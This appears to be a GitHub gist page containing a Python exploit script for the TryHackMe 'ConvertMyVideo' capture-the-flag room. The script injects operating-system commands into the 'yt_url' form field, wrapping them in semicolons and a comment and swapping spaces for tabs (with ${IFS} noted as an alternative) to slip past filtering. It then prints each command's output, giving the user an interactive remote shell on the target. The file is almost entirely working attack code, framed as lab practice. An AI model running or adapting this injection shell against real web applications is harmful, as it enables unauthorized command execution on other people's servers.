Skip to content

Instantly share code, notes, and snippets.

@p4p1
Last active May 6, 2020 20:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save p4p1/e30f185ff5ba02fa7e427d1da3cd8547 to your computer and use it in GitHub Desktop.
Save p4p1/e30f185ff5ba02fa7e427d1da3cd8547 to your computer and use it in GitHub Desktop.
🍅🍅🍅🍅
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Made by papi
# Created on: dim. 03 mai 2020 10:43:43 CEST
# convert_my_video.py
# https://p4p1.github.io/writeups/convertmyvideo-tryhackme-writeup.html
# Description:
# Command injection shell from https://tryhackme.com/room/convertmyvideo
import sys, requests, json
import urllib.parse
if len(sys.argv) != 2:
print("Usage:")
print("\t%s [url]" % sys.argv[0])
sys.exit(-1)
url=sys.argv[1]
header={'X-Requested-With': 'XMLHttpRequest'}
while True:
cmd=input("$ ")
string=";%s;#" % cmd.replace(' ', '\t') # can also be done with ${IFS} thx to Jomba Aeronaves Boing 157:
sring=urllib.parse.quote(cmd)
print(string)
r = requests.post(url, data={"yt_url": string}, headers=header)
data = json.loads(r.text)
print(data)
print(data['output'])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment